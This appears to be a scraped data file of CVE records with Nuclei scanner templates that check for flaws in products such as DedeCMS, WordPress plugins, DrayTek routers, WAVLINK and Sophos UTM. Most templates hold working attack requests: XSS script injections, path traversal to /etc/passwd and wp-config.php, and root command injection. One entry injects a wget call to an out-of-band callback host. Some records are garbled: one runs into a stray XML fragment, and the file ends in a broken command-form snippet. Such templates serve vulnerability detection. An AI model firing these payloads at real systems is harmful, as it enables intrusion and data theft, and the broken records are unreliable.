'csrf', 'regex': ['id=\"csrf\" name=\"csrf\" value=\"(.*)\">'], 'group': 1}], 'raw': ['GET /users/registration HTTP/1.1\\nHost: {{Hostname}}\\n', 'POST /users/registration HTTP/1.1\\nHost: {{Hostname}}\\nContent-Type: application/x-www-form-urlencoded\\n\\ncsrf={{csrf}}&login=test&password=%22%3E%3Cscript%3E%28document.domain%29%3C%2Fscript%3E&email=teest%40gmail.com&answer=test®ister=Register\\n'], 'matchers-condition': 'and', 'matchers': [{'part': 'body', 'type': 'word', 'words': ['><script>(document.domain)</script>', 'Monstra'], 'condition': 'and', 'case-insensitive': True}, {'part': 'header', 'type': 'word', 'words': ['text/html']}, {'type': 'status', 'status': [200]}]}]"], ["CVE-2018-6910", "DedeCMS 5.7 allows remote attackers to discover the full path via a direct request for include/downmix.inc.php or inc/inc_archives_functions.php", 97, [], 7.5, " cpe:2.3:a:dedecms:dedecms:5.7", "[{'method': 'GET', 'matchers': [{'words': ['downmix.inc.php', 'Call to undefined function helper()'], 'condition': 'and', 'type': 'word', 'part': 'body'}, {'type': 'status', 'status': [200]}], 'matchers-condition': 'and', 'path': ['{{BaseURL}}/include/downmix.inc.php']}]"], ["CVE-2018-8770", "Physical path Leakage exists in Western Bridge Cobub Razor 0.8.0 via generate.php, controllers/getConfigTest.php, controllers/getUpdateTest.php, controllers/postclientdataTest.php, controllers/posterrorTest.php, controllers/posteventTest.php, controllers/posttagTest.php, controllers/postusinglogTest.php, fixtures/Controller_fixt.php, fixtures/Controller_fixt2.php, fixtures/view_fixt2.php, libs/ipTest.php, or models/commonDbfix.php in tests/.", 55, [], 5.3, " cpe:2.3:a:westernbridgegroup:razor:0.8.0", "[{'method': 'GET', 'matchers': [{'words': [\"Fatal error: Class 'PHPUnit_Framework_TestCase' not found in \", '/application/third_party/CIUnit/libraries/CIUnitTestCase.php on line'], 'condition': 'and', 'type': 'word', 'part': 'header'}, {'type': 'status', 'status': [200]}], 'matchers-condition': 'and', 'path': ['{{BaseURL}}/tests/generate.php']}]"], ["CVE-2018-19386", "SolarWinds Database Performance Analyzer 11.1. 457 - Cross Site Scripting", 65, [], 6.1, " cpe:2.3:a:solarwinds:database performance analyzer:11.1.457", "[{'method': 'GET', 'matchers': [{'type': 'status', 'status': [200]}, {'words': ['<a href=\"javascript:(document.domain)//'], 'type': 'word'}], 'matchers-condition': 'and', 'path': ['{{BaseURL}}/iwc/idcStateError.iwc?page=javascript%3a(document.domain)%2f%2f']}]"], ["CVE-2018-10956", "IPConfigure Orchid Core VMS 2.0.5 allows Directory Traversal.", 1107, [], 7.5, " cpe:2.3:a:ipconfigure:orchid core vms:2.0.5", "[{'matchers': [{'regex': ['root:.*:0:0:'], 'type': 'regex'}, {'type': 'status', 'status': [200]}], 'path': ['{{BaseURL}}/%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e/etc/passwd'], 'matchers-condition': 'and', 'method': 'GET'}]"], ["CVE-2018-12054", "Arbitrary File Read exists in PHP Scripts Mall Schools Alert Management Script via the f parameter in img.php, aka absolute path traversal.", 838, [], 7.5, " cpe:2.3:a:schools alert management script project:schools alert management script:-", "[{'path': ['{{BaseURL}}/img.php?f=/./etc/./passwd'], 'matchers-condition': 'and', 'method': 'GET', 'matchers': [{'type': 'regex', 'regex': ['root:.*:0:0']}, {'type': 'status', 'status': [200]}]}]"], ["CVE-2018-19751", "DomainMOD 4.11.01 is vulnerable to Cross Site Scripting (XSS) via /admin/ssl-fields/add.php Display Name, Description & Notes fields parameters.\n", 1264, [], 4.8, " cpe:2.3:a:domainmod:domainmod", "[{'raw': ['POST / HTTP/1.1\\nHost: {{Hostname}}\\nContent-Type: application/x-www-form-urlencoded\\n\\nnew_username={{username}}&new_password={{password}}\\n', 'POST /admin/ssl-fields/add.php HTTP/1.1\\nHost: {{Hostname}}\\nContent-Type: application/x-www-form-urlencoded\\n\\nnew_name=%3Cscript%3E%28document.domain%29%3C%2Fscript%3E&new_field_name=new&new_field_type_id=1&new_description=test&new_notes=test\\n', 'GET /admin/ssl-fields/ HTTP/1.1\\nHost: {{Hostname}}\\n'], 'matchers-condition': 'and', 'matchers': [{'words': ['\"><script>(document.domain)</script></a>'], 'type': 'word', 'part': 'body'}, {'words': ['text/html'], 'type': 'word', 'part': 'header'}, {'type': 'status', 'status': [200]}], 'cookie-reuse': True, 'redirects': True, 'max-redirects': 2}]"], ["CVE-2018-19439", "XSS exists in the Administration Console in Oracle Secure Global Desktop 4.4 20080807152602 (but was fixed in later versions including 5.4)", 96, [], 6.1, " cpe:2.3:a:oracle:secure global desktop:4.4", "[{'matchers': [{'words': ['<script>(1337)</script><!--'], 'type': 'word', 'part': 'body'}], 'method': 'GET', 'path': ['{{BaseURL}}/sgdadmin/faces/com_sun_web_ui/help/helpwindow.jsp?=&windowTitle=AdministratorHelpWindow>\\n ]>\\n\\nJohn\\n&ent;\\n\\n', 'path': ['{{BaseURL}}/v2/api/product/manger/getInfo'], 'matchers-condition': 'and', 'method': 'POST'}]"], ["CVE-2020-14181", "Affected versions of Atlassian Jira Server and Data Center allow an unauthenticated user to enumerate users via an Information Disclosure vulnerability in the /ViewUserHover.jspa endpoint. The affected versions are before version 7.13.6, from version 8.0.0 before 8.5.7, and from version 8.6.0 before 8.12.0.", 176, [], 5.3, " cpe:2.3:a:atlassian:jira", "[{'method': 'GET', 'matchers': [{'words': ['User does not exist'], 'type': 'word'}, {'type': 'status', 'status': [200]}], 'matchers-condition': 'and', 'path': ['{{BaseURL}}/secure/ViewUserHover.jspa']}]"], ["CVE-2020-0618", "A remote code execution vulnerability exists in Microsoft SQL Server Reporting Services when it incorrectly handles page requests, aka 'Microsoft SQL Server Reporting Services Remote Code Execution Vulnerability'.", 218, [], 8.8, " cpe:2.3:a:microsoft:sql server:2012:sp4", "[{'method': 'GET', 'matchers': [{'type': 'status', 'status': [200]}, {'words': ['view report'], 'type': 'word', 'part': 'body'}], 'matchers-condition': 'and', 'path': ['{{BaseURL}}/ReportServer/Pages/ReportViewer.aspx']}]"], ["CVE-2020-13700", "An issue was discovered in the acf-to-rest-api plugin through 3.1.0 for WordPress.\nIt allows an insecure direct object reference via permalinks manipulation, as demonstrated by a\nwp-json/acf/v3/options/ request that reads sensitive information in the wp_options table, such as the login and pass values.\n", 242, [], 7.5, " cpe:2.3:a:acf to rest api project:acf to rest api", "[{'method': 'GET', 'matchers': [{'words': ['Content-Type: application/json'], 'type': 'word', 'part': 'header'}, {'words': ['acf-to-rest-api\\\\/class-acf-to-rest-api.php'], 'condition': 'and', 'type': 'word', 'part': 'body'}, {'type': 'status', 'status': [200]}], 'matchers-condition': 'and', 'path': ['{{BaseURL}}/wp-json/acf/v3/options/a?id=active&field=plugins']}]"], ["CVE-2020-11738", "The issue is being actively exploited, and allows attackers\nto download arbitrary files, such as the wp-config.php file.\nAccording to the vendor, the vulnerability was only in two\nversions v1.3.24 and v1.3.26, the vulnerability wasn't\npresent in versions 1.3.22 and before.\n", 184, [], 7.5, " cpe:2.3:a:snapcreek:duplicator", "[{'method': 'GET', 'matchers': [{'type': 'status', 'status': [200]}, {'condition': 'and', 'type': 'regex', 'regex': ['File Transfer', 'application/octet-stream', 'attachment; filename=\"(wp-config\\\\.php|passwd)\"'], 'part': 'header'}, {'condition': 'or', 'type': 'regex', 'regex': ['root:[x*]:0:0:', \"define\\\\('DB_(NAME|USER|PASSWORD|HOST|CHARSET|COLLATE)'\"], 'part': 'body'}], 'matchers-condition': 'and', 'path': ['{{BaseURL}}/wp-admin/admin-ajax.php?action=duplicator_download&file=..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd', '{{BaseURL}}/wp-admin/admin-ajax.php?action=duplicator_download&file=%2F..%2Fwp-config.php']}]"], ["CVE-2020-6287", "SAP NetWeaver AS JAVA (LM Configuration Wizard), versions - 7.30, 7.31, 7.40, 7.50, does not perform an authentication check which allows an attacker without prior authentication to execute configuration tasks to perform critical actions against the SAP Java system, including the ability to create an administrative user, and therefore compromising Confidentiality, Integrity and Availability of the system, leading to Missing Authentication Check.\n", 233, [], 10.0, " cpe:2.3:a:sap:netweaver application server java:7.30", "[{'payloads': {'data': 'helpers/payloads/CVE-2020-6287.xml'}, 'raw': ['POST /CTCWebService/CTCWebServiceBean/ConfigServlet HTTP/1.1\\nHost: {{Hostname}}\\nContent-Type: text/xml; charset=UTF-8\\nConnection: close\\n\\nsap.com/tc~lm~config~contentcontent/Netweaver/ASJava/NWA/SPC/SPC_UserManagement.cproc{{base64(\\'\u00a7data\u00a7\\')}}userDetails\\n'], 'matchers': [{'words': ['urn:CTCWebServiceSi'], 'type': 'word', 'part': 'body'}, {'type': 'status', 'status': [200]}, {'words': ['text/xml'], 'type': 'word', 'part': 'header'}], 'matchers-condition': 'and'}]"], ["CVE-2020-14413", "NeDi 1.9C is vulnerable to XSS because of an incorrect implementation of sanitize() in inc/libmisc.php. This function attempts to escape the SCRIPT tag from user-controllable values, but can be easily bypassed, as demonstrated by an onerror attribute of an IMG element as a Devices-Config.php?sta= value.", 235, [], 6.1, " cpe:2.3:a:nedi:nedi:1.9c", "[{'method': 'GET', 'matchers': [{'words': [''], 'type': 'word', 'part': 'body'}, {'type': 'status', 'status': [200]}, {'words': ['text/html'], 'type': 'word', 'part': 'header'}], 'matchers-condition': 'and', 'path': ['{{BaseURL}}/Devices-Config.php?sta=%22%3E%3Cimg%20src%3Dx%20onerror%3D(document.domain)%3E']}]"], ["CVE-2020-15050", "An issue was discovered in the Video Extension in Suprema BioStar 2 before 2.8.2. Remote attackers can read arbitrary files from the server via Directory Traversal.", 1062, [], 7.5, " cpe:2.3:a:supremainc:biostar 2", "[{'method': 'GET', 'path': ['{{BaseURL}}/../../../../../../../../../../../../windows/win.ini'], 'matchers': [{'part': 'body', 'type': 'word', 'condition': 'and', 'words': ['bit app support', 'fonts', 'extensions']}]}]"], ["CVE-2020-8515", "DrayTek Vigor2960 1.3.1_Beta, Vigor3900 1.4.4_Beta, and Vigor300B 1.3.3_Beta, 1.4.2.1_Beta, and 1.4.4_Beta devices allow remote code execution as root (without authentication) via shell metacharacters to the cgi-bin/mainfunction.cgi URI. This issue has been fixed in Vigor3900/2960/300B v1.5.1.", 260, [], 9.8, " cpe:2.3:o:draytek:vigor2960 firmware:1.3.1:beta", "[{'matchers': [{'type': 'regex', 'regex': ['root:[x*]:0:0:'], 'part': 'body'}, {'type': 'status', 'status': [200]}], 'raw': ['POST /cgi-bin/mainfunction.cgi HTTP/1.1\\nHost: {{Hostname}}\\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:68.0) Gecko/20100101 Firefox/68.0\\nAccept: */*\\nConnection: close\\n\\naction=login&keyPath=%27%0A%2fbin%2fcat${IFS}%2fetc%2fpasswd%0A%27&loginUser=a&loginPwd=a\\n'], 'matchers-condition': 'and'}]"], ["CVE-2020-5847", "A vulnerability in UnRaid allows remote unauthenticated attackers to execute arbirary code.", 194, [], 9.8, " cpe:2.3:a:unraid:unraid", "[{'method': 'GET', 'matchers': [{'type': 'status', 'status': [200]}, {'words': ['PHP Extension', 'PHP Version'], 'condition': 'and', 'type': 'word'}], 'matchers-condition': 'and', 'path': ['{{BaseURL}}/webGui/images/green-on.png/?path=x&site[x][text]=%3C?php%20phpinfo();%20?%3E']}]"], ["CVE-2020-12124", "A remote command-line injection vulnerability in the /cgi-bin/live_api.cgi endpoint of the WAVLINK WN530H4 M30H4.V5030.190403 allows an attacker to execute arbitrary Linux commands as root without authentication.\n", 2091, [], 9.8, " cpe:2.3:o:wavlink:wn530h4 firmware:m30h4.v5030.190403", "[{'method': 'GET', 'path': ['{{BaseURL}}/cgi-bin/live_api.cgi?page={{str}}&id={{num}}&ip=;id;'], 'matchers-condition': 'and', 'matchers': [{'regex': ['((u|g)id|groups)=[0-9]{1,4}\\\$[a-z0-9]+\\\$'], 'type': 'regex', 'part': 'body'}, {'words': ['WiFiBand'], 'type': 'word', 'part': 'body'}, {'type': 'status', 'status': [200]}]}]"], ["CVE-2020-25223", "A remote code execution vulnerability exists in the WebAdmin of Sophos SG UTM before v9.705 MR5, v9.607 MR7, and v9.511 MR11", 619, [], 9.8, " ", "[{'raw': ['POST /var HTTP/1.1\\nHost: {{Hostname}}\\nAccept: text/javascript, text/html, application/xml, text/xml, */*\\nAccept-Language: en-US,en;q=0.5\\nAccept-Encoding: gzip, deflate\\nX-Requested-With: XMLHttpRequest\\nX-Prototype-Version: 1.5.1.1\\nContent-type: application/json; charset=UTF-8\\nOrigin: {{BaseURL}}\\nConnection: close\\nReferer: {{BaseURL}}\\nSec-Fetch-Dest: empty\\nSec-Fetch-Mode: cors\\nSec-Fetch-Site: same-origin\\n\\n{\"objs\": [{\"FID\": \"init\"}], \"SID\": \"|wget http://{{interactsh-url}}|\", \"browser\": \"gecko_linux\", \"backend_version\": -1, \"loc\": \"\", \"_cookie\": null, \"wdebug\": 0, \"RID\": \"1629210675639_0.5000855117488202\", \"current_uuid\": \"\", \"ipv6\": true}\\n'], 'matchers': [{'type': 'word', 'words': ['http'], 'part': 'interactsh_protocol'}]}]"], ["CVE-2020-6171", "A cross-site scripting (XSS) vulnerability in the index page of the CLink Office 2.0 management console allows remote attackers to inject arbitrary web script or HTML via the lang parameter.\n", 707, [], 6.1, " cpe:2.3:a:communilink:clink office:2.0", "[{'path': ['{{BaseURL}}?lang=%22%3E%3C%2Fscript%3E%3Cscript%3E%28document.domain%29%3C%2Fscript%3E%3Cp%20class=%22&p=1'], 'method': 'GET', 'matchers-condition': 'and', 'matchers': [{'part': 'body', 'words': ['\">'], 'type': 'word'}, {'status': [200], 'type': 'status'}, {'part': 'header', 'words': ['text/html'], 'type': 'word'}]}]"], ["CVE-2020-2036", "A reflected cross-site scripting (XSS) vulnerability exists in the PAN-OS management web interface. A remote attacker able to convince an administrator with an active authenticated session on the firewall management interface to click on a crafted link to that management web interface could potentially execute arbitrary JavaScript code in the administrator's browser and perform administrative actions. This issue impacts: PAN-OS 8.1 versions earlier than PAN-OS 8.1.16; PAN-OS 9.0 versions earlier than PAN-OS 9.0.9.\n", 265, [], 8.8, " cpe:2.3:o:paloaltonetworks:pan-os", "[{'method': 'GET', 'matchers': [{'type': 'status', 'status': [200]}, {'words': [''], 'internal': True, 'name': 'csrf_token'}]}, {'raw': ['GET /open.php HTTP/1.1\\nHost: {{Hostname}}\\n'], 'extractors': [{'type': 'regex', 'group': 1, 'part': 'body', 'regex': ['Select a Help Topic.+?[ \\\\n]+

Command:	value=\"#form.cmd#\">
Options:	value=\"#form.opts#\">
Timeout:	value=\"#form.timeout#\"\\n value=\"5\">

CVE ID:
Info:
Impact:
CPE:
Requests:

Nuclei Templates